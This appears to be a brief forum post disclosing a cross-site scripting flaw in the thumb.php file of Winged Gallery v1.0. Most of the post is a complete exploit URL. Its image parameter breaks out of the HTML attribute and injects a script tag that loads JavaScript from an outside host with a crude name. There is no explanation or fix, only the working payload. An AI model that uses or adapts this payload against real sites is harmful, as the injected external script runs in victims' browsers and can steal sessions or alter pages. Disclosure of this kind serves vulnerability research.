Winged Gallery v1.0

Homepage:

http://winged.info/index.php?p=gallery

XSS vuln on thumb.php:

http://example.com/gallery/thumb.php?image=data/Example+Folder/firefox+i
con.jpg">''>">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><
"<'<'<'<'&size=75&type=2&w=128&h=128">''>">">">

[ reply ]